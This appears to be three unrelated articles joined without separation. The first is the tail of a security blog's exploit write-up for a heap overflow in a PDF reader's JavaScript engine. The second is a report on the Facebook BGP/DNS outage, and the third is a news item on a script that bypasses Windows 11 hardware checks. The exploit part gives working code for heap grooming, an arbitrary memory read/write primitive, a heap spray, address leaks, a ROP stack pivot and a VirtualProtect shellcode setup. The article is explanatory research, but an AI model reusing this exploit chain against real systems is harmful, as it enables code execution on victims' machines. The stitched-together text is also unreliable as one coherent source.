If everything worked, step 4 should have overwritten the byteLength of one of the controlled ArrayBuffer objects. When a DataView object is created on the corrupted ArrayBuffer it is possible to read and write memory beyond the underlying allocation. This provides a precise way of overwriting the byteLength of the next ArrayBuffer with the value 0xffffffff. Creating a DataView object on this last ArrayBuffer allows reading and writing memory arbitrarily, but relative to where the ArrayBuffer is.
Using the R/W primitive built, walk the NT Heap structure to identify the BusyBitmap.Buffer pointer. This allows knowing the absolute address of the corrupted ArrayBuffer and build an arbitrary read and write primitive that allows reading from and writing to absolute addresses.
To bypass DEP it is required to pivot the stack to a controlled memory area. This is done by using a ROP gadget that writes a fixed value to the ESP register.
Spray the heap with ArrayBuffer objects with the correct size so they are adjacent to each other. This should place a controlled allocation at the address pointed by the stack-pivoting ROP gadget.
Use the arbitrary read and write to write shellcode in a controlled memory area, and to write the ROP chain to execute VirtualProtect to enable execution permissions on the memory area where the shellcode was written.
Overwrite a function pointer of the DataView object used in the read and write primitive and trigger its call to hijack the execution flow.
The following sub-sections break down the exploit code with explanations for better understanding.
Preparing the Heap Layout
The size of the strings involved in this vulnerability can be controlled. This is convenient since it allows selecting the right size for each of them so they are handled by the Low Fragmentation Heap. The inner workings of the Low Fragmentation Heap (LFH) can be leveraged to increase the determinism of the memory layout required to exploit this vulnerability. Selecting a size that is not used in the program allows full control to activate the LFH bucket corresponding to it, and perform the exact number of allocations required to fit one UserBlock.
The memory chunks within a UserBlock are returned to the user randomly when an allocation is performed. The ideal layout required to exploit this vulnerability is having free chunks adjacent to controlled chunks, so when the strings required to trigger the vulnerability are allocated they fall in one of those free chunks.
In order to set up such a layout, 0xd+0x11 ArrayBuffers of size 0x2608-0x10-0x8 are allocated. The first 0x11 allocations are used to enable the LFH bucket, and the next 0xd allocations are used to fill a UserBlock (note that the number of chunks in the first UserBlock for that bucket size is not always 0xd, so this technique is not 100% effective). The ArrayBuffer size is selected so the underlying allocation is of size 0x2608 (including the chunk metadata), which corresponds to an LFH bucket not used by the application.
Then, the same procedure is done but allocating strings whose underlying allocation size is 0x2408, instead of allocating ArrayBuffers. The number of allocations to fit a UserBlock for this size can be 0xe.
The strings should contain the bytes required to overwrite the byteLength property of the ArrayBuffer that is corrupted once the vulnerability is triggered. The value that will overwrite the byteLength property is 0xffff. This does not allow leveraging the ArrayBuffer to read and write to the whole range of memory addresses in the process. Also, it is not possible to directly overwrite the byteLength with the value 0xffffffff since it would require overwriting the pointer of its DataView object with a non-zero value, which would corrupt it and break its functionality. Instead, writing only 0xffff allows avoiding overwriting the DataView object pointer, keeping its functionality intact since the leftmost two null bytes would be considered the Unicode string terminator during the concatenation operation.
function massageHeap() {
[1]
var arrayBuffers = new Array(0xd+0x11);
for (var i = 0; i < arrayBuffers.length; i++) {
arrayBuffers[i] = new ArrayBuffer(0x2608-0x10-0x8);
var dv = new DataView(arrayBuffers[i]);
}
[2]
var holeDistance = (arrayBuffers.length-0x11) / 2 - 1;
for (var i = 0x11; i <= arrayBuffers.length; i += holeDistance) {
arrayBuffers[i] = null;
}
[3]
var strings = new Array(0xe+0x11);
var str = unescape('%u9090%u4140%u4041%uFFFF%u0000') + unescape('%0000%u0000') + unescape('%u9090%u9090').repeat(0x2408);
for (var i = 0; i < strings.length; i++) {
strings[i] = str.substring(0, (0x2408-0x8)/2 - 2).toUpperCase();
}
[4]
var holeDistance = (strings.length-0x11) / 2 - 1;
for (var i = 0x11; i <= strings.length; i += holeDistance) {
strings[i] = null;
}
return arrayBuffers;
}
In the listing above, the ArrayBuffer allocations are created in [1]. Then in [2] two pointers to the created allocations are nullified in order to attempt to create free chunks surrounded by controlled chunks.
At [3] and [4] the same steps are done with the allocated strings.
Triggering the Vulnerability
Triggering the vulnerability is as easy as calling the app.launchURL JavaScript function. Internally, the relative URL provided as a parameter is concatenated to the base URL defined in the PDF document catalog, thus executing the vulnerable function explained in the Code Analysis section of this post.
The size of the allocation holding the relative URL string must be the same as the one used when preparing the heap layout so it occupies one of the freed spots, and ideally having a controlled allocation adjacent to it.
Obtaining an Arbitrary Read / Write Primitive
When the proper heap layout is successfully achieved and the vulnerability has been triggered, an ArrayBuffer byteLength property would be corrupted with the value 0xffff. This allows writing past the boundaries of the underlying memory allocation and overwriting the byteLength property of the next ArrayBuffer. Finally, creating a DataView object on this last corrupted buffer allows to read and write to the whole memory address range of the process in a relative manner.
In order to be able to read from and write to absolute addresses the memory address of the corrupted ArrayBuffer must be obtained. One way of doing it is to leverage the NT Heap metadata structures to leak a pointer to the same structure. It is relevant that the chunk header contains the chunk number and that all the chunks in a UserBlock are consecutive and adjacent. In addition, the size of the chunks are known, so it is possible to compute the distance from the origin of the relative read and write primitive to the pointer to leak. In an analogous manner, since the distance is known, once the pointer is leaked the distance can be subtracted from it to obtain the address of the origin of the read and write primitive.
The following function implements the process described in this subsection.
function getArbitraryRW(arrayBuffers) {
[1]
for (var i = 0; i < arrayBuffers.length; i++) {
if (arrayBuffers[i] != null && arrayBuffers[i].byteLength == 0xffff) {
var dv = new DataView(arrayBuffers[i]);
dv.setUint32(0x25f0+0xc, 0xffffffff, true);
}
}
[2]
for (var i = 0; i < arrayBuffers.length; i++) {
if (arrayBuffers[i] != null && arrayBuffers[i].byteLength == -1) {
var rw = new DataView(arrayBuffers[i]);
corruptedBuffer = arrayBuffers[i];
}
}
[3]
if (rw) {
var chunkNumber = rw.getUint8(0xffffffff+0x1-0x13, true);
var chunkSize = 0x25f0+0x10+8;
var distanceToBitmapBuffer = (chunkSize * chunkNumber) + 0x18 + 8;
var bitmapBufferPtr = rw.getUint32(0xffffffff+0x1-distanceToBitmapBuffer, true);
The function above at [1] tries to locate the initial corrupted ArrayBuffer and leverages it to corrupt the adjacent ArrayBuffer. At [2] it tries to locate the recently corrupted ArrayBuffer and build the relative arbitrary read and write primitive by creating a DataView object on it. Finally, at [3] the aforementioned method of obtaining the absolute address of the origin of the relative read and write primitive is implemented.
Once the origin address of the read and write primitive is known it is possible to use the following helper functions to read and write to any address of the process that has mapped memory.
function readUint32(dataView, absoluteAddress) {
var addrOffset = absoluteAddress - startAddr;
if (addrOffset < 0) {
addrOffset = addrOffset + 0xffffffff + 1;
}
return dataView.getUint32(addrOffset, true);
}
function writeUint32(dataView, absoluteAddress, data) {
var addrOffset = absoluteAddress - startAddr;
if (addrOffset < 0) {
addrOffset = addrOffset + 0xffffffff + 1;
}
dataView.setUint32(addrOffset, data, true);
}
Spraying ArrayBuffer Objects
The heap spray technique performs a large number of controlled allocations with the intention of having adjacent regions of controllable memory. The key to obtaining adjacent memory regions is to make the allocations of a specific size.
In JavaScript, a convenient way of making allocations in the heap whose content is completely controlled is by using ArrayBuffer objects. The memory allocated with these objects can be read from and written to with the use of DataView objects.
In order to get the heap allocation of the right size the metadata of ArrayBuffer objects and heap chunks have to be taken into consideration. The internal representation of ArrayBuffer objects tells that the size of the metadata is 0x10 bytes. The size of the metadata of a busy heap chunk is 8 bytes.
Since the objective is to have adjacent memory regions filled with controlled data, the allocations performed must have the exact same size as the heap segment size, which is 0x10000 bytes. Therefore, the ArrayBuffer objects created during the heap spray must be of 0xffe8 bytes.
function sprayHeap() {
var heapSegmentSize = 0x10000;
[1]
heapSpray = new Array(0x8000);
for (var i = 0; i < 0x8000; i++) {
heapSpray[i] = new ArrayBuffer(heapSegmentSize-0x10-0x8);
var tmpDv = new DataView(heapSpray[i]);
tmpDv.setUint32(0, 0xdeadbabe, true);
}
}
The exploit function listed above performs the ArrayBuffer spray. The total size of the spray defined in [1] was determined by setting a number high enough so an ArrayBuffer would be allocated at the selected predictable address defined by the stack pivot ROP gadget used.
These purpose of these allocations is to have a controllable memory region at the address were the stack is relocated after the execution of the stack pivoting. This area can be used to prepare the call to VirtualProtect to enable execution permissions on the memory page were the shellcode is written.
Hijacking the Execution Flow and Executing Arbitrary Code
With the ability to arbitrarily read and write memory, the next steps are preparing the shellcode, writing it, and executing it. The security mitigations present in the application determine the strategy and techniques required. ASLR and DEP force using Return Oriented Programming (ROP) combined with leaked pointers to the relevant modules.
Taking this into account, the strategy can be the following:
Obtain pointers to the relevant modules to calculate their base addresses.
Pivot the stack to a memory region under our control where the addresses of the ROP gadgets can be written.
Write the shellcode.
Call VirtualProtect to change the shellcode memory region permissions to allow execution.
Overwrite a function pointer that can be called later from JavaScript.
The following functions are used in the implementation of the mentioned strategy.
[1]
function getAddressLeaks(rw) {
var dataViewObjPtr = rw.getUint32(0xffffffff+0x1-0x8, true);
var escriptAddrDelta = 0x275518;
var escriptAddr = readUint32(rw, dataViewObjPtr+0xc) - escriptAddrDelta;
var kernel32BaseDelta = 0x273eb8;
var kernel32Addr = readUint32(rw, escriptAddr + kernel32BaseDelta);
return [escriptAddr, kernel32Addr];
}
[2]
function prepareNewStack(kernel32Addr) {
var virtualProtectStubDelta = 0x20420;
writeUint32(rw, newStackAddr, kernel32Addr + virtualProtectStubDelta);
In the code listing above, the function at [1] obtains the base addresses of the EScript.api and kernel32.dll modules, which are the ones required to exploit the vulnerability with the current strategy. The function at [2] is used to prepare the contents of the relocated stack, so that once the stack pivot is executed everything is ready. In particular, at [3] the address to the shellcode and the parameters to VirtualProtect are written. The address to the shellcode corresponds to the return address that the ret instruction of the VirtualProtect will restore, redirecting this way the execution flow to the shellcode. The shellcode is written at [4].
Finally, at [5] the getProperty function pointer of a DataView object under control is overwritten with the address of the ROP gadget used to pivot the stack, and a property of the object is accessed which triggers the execution of getProperty.
The stack pivot gadget used is from the EScript.api module, and is listed below:
1
0x2382de29: mov esp, 0x5d0013c2; ret;
When the instructions listed above are executed, the stack will be relocated to 0x5d0013c2 where the previously prepared allocation would be.
Conclusion
We hope you enjoyed reading this analysis of a heap buffer-overflow and learned something new. If you’re hungry for more, go and checkout our other blog posts!
“Facebook can’t be down, can it?”, we thought, for a second.
Today at 15:51 UTC, we opened an internal incident entitled «Facebook DNS lookup returning SERVFAIL» because we were worried that something was wrong with our DNS resolver 1.1.1.1. But as we were about to post on our public status page we realized something else more serious was going on.
Social media quickly burst into flames, reporting what our engineers rapidly confirmed too. Facebook and its affiliated services WhatsApp and Instagram were, in fact, all down. Their DNS names stopped resolving, and their infrastructure IPs were unreachable. It was as if someone had «pulled the cables» from their data centers all at once and disconnected them from the Internet.
How’s that even possible?
Update from Facebook
Facebook has now published a blog post giving some details of what happened internally. Externally, we saw the BGP and DNS problems outlined in this post but the problem actually began with a configuration change that affected the entire internal backbone. That cascaded into Facebook and other properties disappearing and staff internal to Facebook having difficulty getting service going again.
Now on to what we saw from the outside.
Meet BGP
BGP stands for Border Gateway Protocol. It’s a mechanism to exchange routing information between autonomous systems (AS) on the Internet. The big routers that make the Internet work have huge, constantly updated lists of the possible routes that can be used to deliver every network packet to their final destinations. Without BGP, the Internet routers wouldn’t know what to do, and the Internet wouldn’t work.
The Internet is literally a network of networks, and it’s bound together by BGP. BGP allows one network (say Facebook) to advertise its presence to other networks that form the Internet. As we write Facebook is not advertising its presence, ISPs and other networks can’t find Facebook’s network and so it is unavailable.
The individual networks each have an ASN: an Autonomous System Number. An Autonomous System (AS) is an individual network with a unified internal routing policy. An AS can originate prefixes (say that they control a group of IP addresses), as well as transit prefixes (say they know how to reach specific groups of IP addresses).
Cloudflare’s ASN is AS13335. Every ASN needs to announce its prefix routes to the Internet using BGP; otherwise, no one will know how to connect and where to find us.
In this simplified diagram, you can see six autonomous systems on the Internet and two possible routes that one packet can use to go from Start to End. AS1 → AS2 → AS3 being the fastest, and AS1 → AS6 → AS5 → AS4 → AS3 being the slowest, but that can be used if the first fails.
At 15:58 UTC we noticed that Facebook had stopped announcing the routes to their DNS prefixes. That meant that, at least, Facebook’s DNS servers were unavailable. Because of this Cloudflare’s 1.1.1.1 DNS resolver could no longer respond to queries asking for the IP address of facebook.com.
route-views>show ip bgp 185.89.218.0/23
% Network not in table
route-views>
route-views>show ip bgp 129.134.30.0/23
% Network not in table
route-views>
Meanwhile, other Facebook IP addresses remained routed but weren’t particularly useful since without DNS Facebook and related services were effectively unavailable:
route-views>show ip bgp 129.134.30.0
BGP routing table entry for 129.134.0.0/17, version 1025798334
Paths: (24 available, best #14, table default)
Not advertised to any peer
Refresh Epoch 2
3303 6453 32934
217.192.89.50 from 217.192.89.50 (138.187.128.158)
Origin IGP, localpref 100, valid, external
Community: 3303:1004 3303:1006 3303:3075 6453:3000 6453:3400 6453:3402
path 7FE1408ED9C8 RPKI State not found
rx pathid: 0, tx pathid: 0
Refresh Epoch 1
route-views>
We keep track of all the BGP updates and announcements we see in our global network. At our scale, the data we collect gives us a view of how the Internet is connected and where the traffic is meant to flow from and to everywhere on the planet.
A BGP UPDATE message informs a router of any changes you’ve made to a prefix advertisement or entirely withdraws the prefix. We can clearly see this in the number of updates we received from Facebook when checking our time-series BGP database. Normally this chart is fairly quiet: Facebook doesn’t make a lot of changes to its network minute to minute.
But at around 15:40 UTC we saw a peak of routing changes from Facebook. That’s when the trouble began.
If we split this view by routes announcements and withdrawals, we get an even better idea of what happened. Routes were withdrawn, Facebook’s DNS servers went offline, and one minute after the problem occurred, Cloudflare engineers were in a room wondering why 1.1.1.1 couldn’t resolve facebook.com and worrying that it was somehow a fault with our systems.
With those withdrawals, Facebook and its sites had effectively disconnected themselves from the Internet.
DNS gets affected
As a direct consequence of this, DNS resolvers all over the world stopped resolving their domain names.
➜ ~ dig @1.1.1.1 facebook.com
;; ->>HEADER<<- opcode: QUERY, status: SERVFAIL, id: 31322
;facebook.com. IN A
➜ ~ dig @1.1.1.1 whatsapp.com
;; ->>HEADER<<- opcode: QUERY, status: SERVFAIL, id: 31322
;whatsapp.com. IN A
➜ ~ dig @8.8.8.8 facebook.com
;; ->>HEADER<<- opcode: QUERY, status: SERVFAIL, id: 31322
;facebook.com. IN A
➜ ~ dig @8.8.8.8 whatsapp.com
;; ->>HEADER<<- opcode: QUERY, status: SERVFAIL, id: 31322
;whatsapp.com. IN A
This happens because DNS, like many other systems on the Internet, also has its routing mechanism. When someone types the https://facebook.com URL in the browser, the DNS resolver, responsible for translating domain names into actual IP addresses to connect to, first checks if it has something in its cache and uses it. If not, it tries to grab the answer from the domain nameservers, typically hosted by the entity that owns it.
If the nameservers are unreachable or fail to respond because of some other reason, then a SERVFAIL is returned, and the browser issues an error to the user.
Again, our learning center provides a good explanation on how DNS works.
Due to Facebook stopping announcing their DNS prefix routes through BGP, our and everyone else’s DNS resolvers had no way to connect to their nameservers. Consequently, 1.1.1.1, 8.8.8.8, and other major public DNS resolvers started issuing (and caching) SERVFAIL responses.
But that’s not all. Now human behavior and application logic kicks in and causes another exponential effect. A tsunami of additional DNS traffic follows.
This happened in part because apps won’t accept an error for an answer and start retrying, sometimes aggressively, and in part because end-users also won’t take an error for an answer and start reloading the pages, or killing and relaunching their apps, sometimes also aggressively.
This is the traffic increase (in number of requests) that we saw on 1.1.1.1:
So now, because Facebook and their sites are so big, we have DNS resolvers worldwide handling 30x more queries than usual and potentially causing latency and timeout issues to other platforms.
Fortunately, 1.1.1.1 was built to be Free, Private, Fast (as the independent DNS monitor DNSPerf can attest), and scalable, and we were able to keep servicing our users with minimal impact.
The vast majority of our DNS requests kept resolving in under 10ms. At the same time, a minimal fraction of p95 and p99 percentiles saw increased response times, probably due to expired TTLs having to resort to the Facebook nameservers and timeout. The 10 seconds DNS timeout limit is well known amongst engineers.
Impacting other services
People look for alternatives and want to know more or discuss what’s going on. When Facebook became unreachable, we started seeing increased DNS queries to Twitter, Signal and other messaging and social media platforms.
We can also see another side effect of this unreachability in our WARP traffic to and from Facebook’s affected ASN 32934. This chart shows how traffic changed from 15:45 UTC to 16:45 UTC compared with three hours before in each country. All over the world WARP traffic to and from Facebook’s network simply disappeared.
The Internet
Today’s events are a gentle reminder that the Internet is a very complex and interdependent system of millions of systems and protocols working together. That trust, standardization, and cooperation between entities are at the center of making it work for almost five billion active users worldwide.
Update
At around 21:00 UTC we saw renewed BGP activity from Facebook’s network which peaked at 21:17 UTC.
This chart shows the availability of the DNS name ‘facebook.com’ on Cloudflare’s DNS resolver 1.1.1.1. It stopped being available at around 15:50 UTC and returned at 21:20 UTC.
Undoubtedly Facebook, WhatsApp and Instagram services will take further time to come online but as of 21:28 UTC Facebook appears to be reconnected to the global Internet and DNS working again.
A new script allows you to install Windows 11 on devices with incompatible hardware, such as missing TPM 2.0, incompatible CPUs, or the lack of Secure Boot. Even better, the script also works on virtual machines, allowing you to upgrade to the latest Windows Insider build.
When Windows 11 was first announced, Microsoft released the operating system’s new system requirements, which included a TPM 2.0 security processor, Secure Boot, newer CPUs, and at least 64 GB of hard drive space.
As Microsoft realized that many people, especially those in the enterprise, would be testing Windows 11 preview builds on virtual machines, they exempted them from the system requirements.
For those willing to risk running Windows 11 on incompatible hardware, a script has been released that allows new installations and upgrades to bypass the operating system’s system requirements.
Script bypasses Windows 11 system requirements
This new script was released as part of the extremely useful Universal MediaCreationTool wrapper, a batch file that allows you to create an ISO for any version of Windows 10, with Windows 11 support added last week.
When executed on a Windows 10 or Windows 11 device, the Skip_TPM_Check_on_Dynamic_Update.cmd script will perform a variety of tasks, including:
Create the ‘AllowUpgradesWithUnsupportedTPMOrCPU‘ value under the HKEY_LOCAL_MACHINE\SYSTEM\Setup\MoSetup Registry key and set it to 1.
Registers a WMI event subscription named ‘Skip TPM Check on Dynamic Update’ that deletes the ‘C:\$WINDOWS.~BT\appraiserres.dll‘ file when the vdsldr.exe executable is launched during Windows 11 setup.It should be noted that the created WMI event subscription will remain in effect until you run the Skip_TPM_Check_on_Dynamic_Update.cmd script again, which will cause the event subscriptions to be deleted. You can do this after installing or upgrading Windows 11.
Before using this script, when attempting to upgrade a Windows 11 build 22449 virtual machine to the latest preview build, the upgrade failed as the setup could not see the secure boot feature, a TPM 2.0 processor, and the system disk was too small.
Windows 11 setup failing on incompatible hardware Source: BleepingComputer
However, after running this script, we could install the latest Windows 11 preview build 22463 without a problem.
Windows 11 preview build 22463 installed in VirtualBox
Anyone who decides to use this bypass should be aware that this is an unsupported method to install Windows 11 and could lead to performance issues or other bugs when using the operating system. Furthermore, Microsoft may not provide security updates to unsupported devices, so your installation will likely be less secure.
Therefore, you should only use this method in test environments and not on production devices.
